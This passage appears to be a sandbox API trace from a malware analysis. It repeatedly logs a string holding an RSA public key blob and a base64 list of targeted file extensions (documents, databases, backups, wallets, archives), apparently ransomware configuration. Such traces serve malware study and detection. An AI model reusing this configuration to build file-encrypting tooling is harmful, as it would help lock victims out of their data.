iwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4